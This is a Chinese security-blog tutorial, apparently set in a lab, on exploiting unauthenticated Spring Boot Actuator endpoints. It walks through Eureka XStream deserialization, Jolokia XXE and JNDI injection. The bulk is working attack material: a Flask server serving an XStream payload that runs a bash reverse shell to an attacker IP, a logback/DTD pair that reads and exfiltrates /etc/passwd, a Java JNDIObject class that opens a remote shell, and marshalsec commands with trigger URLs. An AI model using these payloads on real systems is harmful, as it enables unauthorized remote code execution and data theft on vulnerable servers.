Spring Boot Actuator 未授权访问利用实战利用

白帽子社区

共 8487字,需浏览 17分钟

 ·

2021-06-27 06:18

作者:Ca1y0n  编辑:白帽子社区运营团队




    "白帽子社区在线CTF靶场BMZCTF,欢迎各位在这里练习、学习,BMZCTF全身心为网络安全赛手提供优质学习环境,链接(http://www.bmzclub.cn/)

"    




前言:

Actuator是spring boot提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息。Actuator配置不当会导致未授权访问获取网站相关配置甚至RCE


所有端点皆可以在org.springframework.boot.actuate.endpoint中找到表达的含义

/beans: 查看上下文里全部的javabean/env: 获取全部的环境属性,可以找到相关的网站数据配置的账号密码/metrics: 获取报告各种应用程序度量信息/trace: 提供基本的 HTTP 请求跟踪信息,可获取用户认证字段信息/health: 报告程序健康指数,在其中可能找到git地址/dump: 获取线程活动的快照/heapdump: 获取JVM堆栈信息,经常可以从里面找到登录的账号密码之类的/logger: 展示了应用中可配置的loggers列表和相关日志等级/restart: 重启应用

注:

Spring1.x 在url跟路径下进行注册,在2.x版本中移动到/actuator的路径下

Spring1.x与2.x在post请求方面也存在差异,1.x通过application/x-www-form-urlencoded 进行post请求,2.x通过传递json包请求的applistion/json


一、环境搭建

环境准备:JDK 1.8 or later and Maven 3.2+

下载环境源码

git clone https://github.com/veracode-research/actuator-testbed.gitcd actuator-testbed

修改监听端口

src/main/resources/application.properties server.address=0.0.0.0mvn install

启动服务

java -jar  ./target/actuator-testbed-0.1.0.jar

访问

http://IP:8090


这里访问env就可以看到未授权访问的一些信息


二、漏洞复现

0x01:

Eureka服务漏洞需要存在两个包

spring-boot-starter-actuator(/refresh刷新配置需要)
spring-cloud-starter-netflix-eureka-client(功能依赖)

Eureka-Client<1.8.7,eureka服务多用于netflix组件中,可通过在< span="">/env中搜寻Netflix关键字判断时候可能存在Eureka服务

Eureka服务属性被设置为恶意的外部 Eureka server URL 地址时,通过/refresh会触发目标机器请求远程URL,Eureka server URL可通过在/env处POST数据进行更改

使用python 在服务器上搭建一个响应XStream payload的Web服务,代码如下:

Payload.py#!/usr/bin/env python# coding: utf-8
from flask import Flask, Response
app = Flask(__name__)
@app.route('/', defaults={'path':''})@app.route('/<path:path>',methods=['GET','POST'])

def catch_all(path): xml = """<linked-hash-set> <jdk.nashorn.internal.objects.NativeString> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>/bin/bash</string> <string>-c</string> <string>bash -i >&amp; /dev/tcp/192.168.2.130/1234 0>&amp;1</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> </is> </dataSource> </dataHandler> </value> </jdk.nashorn.internal.objects.NativeString></linked-hash-set>""" return Response(xml, mimetype='application/xml')

if __name__ == "__main__": app.run(host='0.0.0.0', port=80)

发送POST请求

eureka.client.serviceUrl.defaultZone=http://192.168.2.130/test

刷新配置

POST /refresh

Vps开启监听获取反弹shell

注:该漏洞的成功利用与jdk版本有关,此处用的是1.8.0_161


0x02

Jolokia 漏洞

XXE

判断是否存在jolokia插件:访问http://ip:port/jolokia/list是否存在/jolokia/list 接口搜索关键字: ch.qos.logback.classic.jmx.JMXConfigurator 和  reloadByURL

Vps创建xxe payload

logback.xml<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://192.168.2.130/filereaed.dtd">%remote;%int;]><a>&trick;</a>
读取文件内容,创建文件fileread.dtd<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

Python开启web服务

Payload:

http://靶机IP/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/攻击机IP!/logback.xml

JNDI RCE1

在xxe的基础上,通过远程调用恶意的xml文件进行jndi注入,这里要注意一下java的版本信息

在vpsc创建exp.xml恶意文件

  <insertfromjndi </insertfromjndienv-entry-name="ldap://vps:1389/Exploit" as="appName" />

创建并编译JNDIObject

/** *  javac -source 1.5 -target 1.5 JNDIObject.java * *  Build By LandGrey * */
import java.io.File;import java.io.InputStream;import java.io.OutputStream;import java.net.Socket;
public class JNDIObject { static { try{ String ip = "your-vps-ip"; String port = "443"; String py_path = null; String[] cmd; if (!System.getProperty("os.name").toLowerCase().contains("windows")) { String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; for(int i = 0; i < py_envs.length; ++i) { String py = py_envs[i]; if ((new File(py)).exists()) { py_path = py; break; } } if (py_path != null) { if ((new File("/bin/bash")).exists()) { cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; } else { cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; } } else { if ((new File("/bin/bash")).exists()) { cmd = new String[]{"/bin/bash"}; } else { cmd = new String[]{"/bin/sh"}; } } } else { cmd = new String[]{"cmd.exe"}; } Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); Socket s = new Socket(ip, Integer.parseInt(port)); InputStream pi = p.getInputStream(); InputStream pe = p.getErrorStream(); InputStream si = s.getInputStream(); OutputStream po = p.getOutputStream(); OutputStream so = s.getOutputStream(); while(!s.isClosed()) { while(pi.available() > 0) { so.write(pi.read()); } while(pe.available() > 0) { so.write(pe.read()); } while(si.available() > 0) { po.write(si.read()); } so.flush(); po.flush(); Thread.sleep(50L); try { p.exitValue(); break; } catch (Exception e) { } } p.destroy(); s.close(); }catch (Throwable e){ e.printStackTrace(); } }}

开启jndi或者rmi服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://VPS/#JNDIObject 1389

在vps开启web服务

   

替换ip请求触发漏洞

http://IP/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/exp.xml

获取反弹的shell

(如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。)


漏洞原理:

1.直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法

2.目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容

3.目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)

4.xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址

5.目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞


参考:

https://github.com/LandGrey/SpringBootVulExploit#0x03eureka-xstream-deserialization-rce
往期精彩文章




记一次hw行动中的渗透测试
docker下安全问题总结
【题目讲解】hp-RE_hyperthreading
【题目讲解】tzzzez-433MHz+oldmodem




技术支持:白帽子社区团队
— 扫码关注我们 



浏览 151
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报